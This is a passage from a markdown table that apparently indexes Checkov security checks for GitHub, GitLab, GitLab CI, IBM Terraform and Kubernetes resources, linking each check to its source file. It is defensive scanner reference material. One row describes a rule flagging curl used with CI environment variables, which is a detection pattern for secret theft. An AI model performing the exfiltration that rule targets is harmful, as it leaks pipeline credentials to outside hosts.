[require_2approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_2approvals.py)                                                                                                           |\n| 6645 | CKV_GITHUB_20            | github_configuration             | *                                                                                                | Ensure open git branches are up to date before they can be merged into codebase                                                                                                                          | github_configuration    | [require_updated_branch_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_updated_branch_pr.py)                                                                                             |\n| 6646 | CKV_GITHUB_21            | github_configuration             | *                                                                                                | Ensure public repository creation is limited to specific members                                                                                                                                         | github_configuration    | [public_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/public_repository_creation_is_limited.py)                                                                     |\n| 6647 | CKV_GITHUB_22            | github_configuration             | *                                                                                                | Ensure private repository creation is limited to specific members                                                                                                                                        | github_configuration    | [private_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/private_repository_creation_is_limited.py)                                                                   |\n| 6648 | CKV_GITHUB_23            | github_configuration             | *                                                                                                | Ensure internal repository creation is limited to specific members                                                                                                                                       | github_configuration    | [internal_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/internal_repository_creation_is_limited.py)                                                                 |\n| 6649 | CKV_GITHUB_26            | github_configuration             | *                                                                                                | Ensure minimum admins are set for the organization                                                                                                                                                       | github_configuration    | [minimum_admins_in_org.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/minimum_admins_in_org.py)                                                                                                     |\n| 6650 | CKV_GITHUB_27            | github_configuration             | *                                                                                                | Ensure strict base permissions are set for repositories                                                                                                                                                  | github_configuration    | [require_strict_base_permissions_repository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_strict_base_permissions_repository.py)                                                           |\n| 6651 | CKV_GITHUB_28            | github_configuration             | *                                                                                                | Ensure an organization's identity is confirmed with a Verified badge Passed                                                                                                                              | github_configuration    | [require_verified_organization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_verified_organization.py)                                                                                     |\n| 6652 | CKV_GITLAB_1             | gitlab_configuration             | *                                                                                                | Merge requests should require at least 2 approvals                                                                                                                                                       | gitlab_configuration    | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab/checks/merge_requests_approvals.py)                                                                                               |\n| 6653 | CKV_GITLABCI_1           | jobs                             | *.script[]                                                                                       | Suspicious use of curl with CI environment variables in script                                                                                                                                           | gitlab_ci               | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/SuspectCurlInScript.py)                                                                                                  |\n| 6654 | CKV_GITLABCI_2           | jobs                             | *.rules                                                                                          | Avoid creating rules that generate double pipelines                                                                                                                                                      | gitlab_ci               | [AvoidDoublePipelines.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py)                                                                                                |\n| 6655 | CKV_GITLABCI_3           | jobs                             | *.image[]                                                                                        | Detecting image usages in gitlab workflows                                                                                                                                                               | gitlab_ci               | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py)                                                                                                      |\n| 6656 | CKV_GITLABCI_3           | jobs                             | *.services[]                                                                                     | Detecting image usages in gitlab workflows                                                                                                                                                               | gitlab_ci               | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py)                                                                                                      |\n| 6657 | CKV_GLB_1                | resource                         | gitlab_project                                                                                   | Ensure at least two approving reviews are required to merge a GitLab MR                                                                                                                                  | Terraform               | [RequireTwoApprovalsToMerge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py)                                                                        |\n| 6658 | CKV_GLB_2                | resource                         | gitlab_branch_protection                                                                         | Ensure GitLab branch protection rules does not allow force pushes                                                                                                                                        | Terraform               | [ForcePushDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py)                                                                                          |\n| 6659 | CKV_GLB_3                | resource                         | gitlab_project                                                                                   | Ensure GitLab prevent secrets is enabled                                                                                                                                                                 | Terraform               | [PreventSecretsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py)                                                                                  |\n| 6660 | CKV_GLB_4                | resource                         | gitlab_project                                                                                   | Ensure GitLab commits are signed                                                                                                                                                                         | Terraform               | [RejectUnsignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py)                                                                                  |\n| 6661 | CKV2_IBM_1               | resource                         | ibm_is_lb                                                                                        | Ensure load balancer for VPC is private (disable public access)                                                                                                                                          | Terraform               | [IBM_LoadBalancerforVPCisPrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml)                                                         |\n| 6662 | CKV2_IBM_2               | resource                         | ibm_is_vpc                                                                                       | Ensure VPC classic access is disabled                                                                                                                                                                    | Terraform               | [IBM_VPCclassicAccessIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml)                                                           |\n| 6663 | CKV2_IBM_3               | resource                         | ibm_iam_account_settings                                                                         | Ensure API key creation is restricted in account settings                                                                                                                                                | Terraform               | [IBM_RestrictAPIkeyCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml)                                 |\n| 6664 | CKV2_IBM_4               | resource                         | ibm_iam_account_settings                                                                         | Ensure Multi-Factor Authentication (MFA) is enabled at the account level                                                                                                                                 | Terraform               | [IBM_EnableMFAatAccountLevel.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml)                                                                 |\n| 6665 | CKV2_IBM_5               | resource                         | ibm_iam_account_settings                                                                         | Ensure Service ID creation is restricted in account settings                                                                                                                                             | Terraform               | [IBM_RestrictServiceIDCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml)                           |\n| 6666 | CKV2_IBM_7               | resource                         | ibm_container_cluster                                                                            | Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint                                                                                                              | Terraform               | [IBM_K8sClustersAccessibleViaPrivateEndPt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml)                                       |\n| 6667 | CKV_K8S_1                | resource                         | PodSecurityPolicy                                                                                | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Kubernetes              | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py)                                                                                                |\n| 6668 | CKV_K8S_1                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform               | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py)                                                                                          |\n| 6669 | CKV_K8S_2                | resource                         | PodSecurityPolicy                                                                                | Do not admit privileged containers                                                                                                                                                                       | Kubernetes              | [PrivilegedContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py)                                                                                |\n| 6670 | CKV_K8S_2                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [PrivilegedContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py)                                                                            |\n| 6671 | CKV_K8S_3                | resource                         | PodSecurityPolicy                                                                                | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Kubernetes              | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py)                                                                                                |\n| 6672 | CKV_K8S_3                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform               | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py)                                                                                          |\n| 6673 | CKV_K8S_4                | resource                         | PodSecurityPolicy                                                                                | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Kubernetes              | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py)                                                                    |\n| 6674 | CKV_K8S_4                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform               | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py)                                                              |\n| 6675 | CKV_K8S_5                | resource                         | PodSecurityPolicy                                                                                | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Kubernetes              | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py)                                                                        |\n| 6676 | CKV_K8S_5                | resource                         | kubernetes_pod_security_policy                                                                   | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform               | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py)                                                                  |\n| 6677 | CKV_K8S_6                | resource                         | PodSecurityPolicy                                                                                | Do not admit root containers                                                                                                                                                                             | Kubernetes              | [RootContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py)                                                                                            |\n| 6678 | CKV_K8S_6                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit root containers                                                                                                                                                                             | Terraform               | [RootContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py)                                                                                        |\n| 6679 | CKV_K8S_7                | resource                         | PodSecurityPolicy                                                                                | Do not admit containers with the NET_RAW capability                                                                                                                                                      | Kubernetes              | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py)                                                                                        |\n| 6680 | CKV_K8S_7                | resource                         | kubernetes_pod_security_policy                                                                   | Do not admit containers with the NET_RAW capability                                                                                                                                                      | Terraform               | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py)                                                                                  |\n| 6681 | CKV_K8S_8                | resource                         | DaemonSet                                                                                        | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6682 | CKV_K8S_8                | resource                         | Deployment                                                                                       | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6683 | CKV_K8S_8                | resource                         | DeploymentConfig                                                                                 | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6684 | CKV_K8S_8                | resource                         | Pod                                                                                              | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6685 | CKV_K8S_8                | resource                         | PodTemplate                                                                                      | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6686 | CKV_K8S_8                | resource                         | ReplicaSet                                                                                       | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6687 | CKV_K8S_8                | resource                         | ReplicationController                                                                            | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6688 | CKV_K8S_8                | resource                         | StatefulSet                                                                                      | Liveness Probe Should be Configured                                                                                                                                                                      | Kubernetes              | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py)                                                                                                    |\n| 6689 | CKV_K8S_8                | resource                         | kubernetes_deployment                                                                            | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform               | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 6690 | CKV_K8S_8                | resource                         | kubernetes_deployment_v1                                                                         | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform               | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 6691 | CKV_K8S_8                | resource                         | kubernetes_pod                                                                                   | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform               | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 6692 | CKV_K8S_8                | resource                         | kubernetes_pod_v1                                                                                | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform               | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 6693 | CKV_K8S_9                | resource                         | DaemonSet                                                                                        | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6694 | CKV_K8S_9                | resource                         | Deployment                                                                                       | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6695 | CKV_K8S_9                | resource                         | DeploymentConfig                                                                                 | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6696 | CKV_K8S_9                | resource                         | Pod                                                                                              | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6697 | CKV_K8S_9                | resource                         | PodTemplate                                                                                      | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6698 | CKV_K8S_9                | resource                         | ReplicaSet                                                                                       | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6699 | CKV_K8S_9                | resource                         | ReplicationController                                                                            | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6700 | CKV_K8S_9                | resource                         | StatefulSet                                                                                      | Readiness Probe Should be Configured                                                                                                                                                                     | Kubernetes              | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py)                                                                                                  |\n| 6701 | CKV_K8S_9                | resource                         | kubernetes_deployment                                                                            | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform               | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 6702 | CKV_K8S_9                | resource                         | kubernetes_deployment_v1                                                                         | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform               | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 6703 | CKV_K8S_9                | resource                         | kubernetes_pod                                                                                   | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform               | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 6704 | CKV_K8S_9                | resource                         | kubernetes_pod_v1                                                                                | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform               | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 6705 | CKV_K8S_10               | resource                         | CronJob                                                                                          | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6706 | CKV_K8S_10               | resource                         | DaemonSet                                                                                        | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6707 | CKV_K8S_10               | resource                         | Deployment                                                                                       | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6708 | CKV_K8S_10               | resource                         | DeploymentConfig                                                                                 | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6709 | CKV_K8S_10               | resource                         | Job                                                                                              | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6710 | CKV_K8S_10               | resource                         | Pod                                                                                              | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6711 | CKV_K8S_10               | resource                         | PodTemplate                                                                                      | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6712 | CKV_K8S_10               | resource                         | ReplicaSet                                                                                       | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6713 | CKV_K8S_10               | resource                         | ReplicationController                                                                            | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6714 | CKV_K8S_10               | resource                         | StatefulSet                                                                                      | CPU requests should be set                                                                                                                                                                               | Kubernetes              | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py)                                                                                                        |\n| 6715 | CKV_K8S_10               | resource                         | kubernetes_deployment                                                                            | CPU requests should be set                                                                                                                                                                               | Terraform               | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 6716 | CKV_K8S_10               | resource                         | kubernetes_deployment_v1                                                                         | CPU requests should be set                                                                                                                                                                               | Terraform               | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 6717 | CKV_K8S_10               | resource                         | kubernetes_pod                                                                                   | CPU requests should be set                                                                                                                                                                               | Terraform               | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 6718 | CKV_K8S_10               | resource                         | kubernetes_pod_v1                                                                                | CPU requests should be set                                                                                                                                                                               | Terraform               | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 6719 | CKV_K8S_11               | resource                         | CronJob                                                                                          | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6720 | CKV_K8S_11               | resource                         | DaemonSet                                                                                        | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6721 | CKV_K8S_11               | resource                         | Deployment                                                                                       | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6722 | CKV_K8S_11               | resource                         | DeploymentConfig                                                                                 | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6723 | CKV_K8S_11               | resource                         | Job                                                                                              | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6724 | CKV_K8S_11               | resource                         | Pod                                                                                              | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6725 | CKV_K8S_11               | resource                         | PodTemplate                                                                                      | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6726 | CKV_K8S_11               | resource                         | ReplicaSet                                                                                       | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6727 | CKV_K8S_11               | resource                         | ReplicationController                                                                            | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6728 | CKV_K8S_11               | resource                         | StatefulSet                                                                                      | CPU limits should be set                                                                                                                                                                                 | Kubernetes              | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py)                                                                                                            |\n| 6729 | CKV_K8S_11               | resource                         | kubernetes_deployment                                                                            | CPU Limits should be set                                                                                                                                                                                 | Terraform               | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 6730 | CKV_K8S_11               | resource                         | kubernetes_deployment_v1                                                                         | CPU Limits should be set                                                                                                                                                                                 | Terraform               | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 6731 | CKV_K8S_11               | resource                         | kubernetes_pod                                                                                   | CPU Limits should be set                                                                                                                                                                                 | Terraform               | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 6732 | CKV_K8S_11               | resource                         | kubernetes_pod_v1                                                                                | CPU Limits should be set                                                                                                                                                                                 | Terraform               | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 6733 | CKV_K8S_12               | resource                         | CronJob                                                                                          | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6734 | CKV_K8S_12               | resource                         | DaemonSet                                                                                        | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6735 | CKV_K8S_12               | resource                         | Deployment                                                                                       | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6736 | CKV_K8S_12               | resource                         | DeploymentConfig                                                                                 | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6737 | CKV_K8S_12               | resource                         | Job                                                                                              | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6738 | CKV_K8S_12               | resource                         | Pod                                                                                              | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6739 | CKV_K8S_12               | resource                         | PodTemplate                                                                                      | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6740 | CKV_K8S_12               | resource                         | ReplicaSet                                                                                       | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6741 | CKV_K8S_12               | resource                         | ReplicationController                                                                            | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6742 | CKV_K8S_12               | resource                         | StatefulSet                                                                                      | Memory requests should be set                                                                                                                                                                            | Kubernetes              | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                                                  |\n| 6743 | CKV_K8S_12               | resource                         | kubernetes_deployment                                                                            | Memory Limits should be set                                                                                                                                                                              | Terraform               | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 6744 | CKV_K8S_12               | resource                         | kubernetes_deployment_v1                                                                         | Memory Limits should be set                                                                                                                                                                              | Terraform               | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 6745 | CKV_K8S_12               | resource                         | kubernetes_pod                                                                                   | Memory Limits should be set                                                                                                                                                                              | Terraform               | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 6746 | CKV_K8S_12               | resource                         | kubernetes_pod_v1                                                                                | Memory Limits should be set                                                                                                                                                                              | Terraform               | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 6747 | CKV_K8S_13               | resource                         | CronJob                                                                                          | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                                                      |\n| 6748 | CKV_K8S_13               | resource                         | DaemonSet                                                                                        | Memory limits should be set                                                                                                                                                                              | Kubernetes              | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                           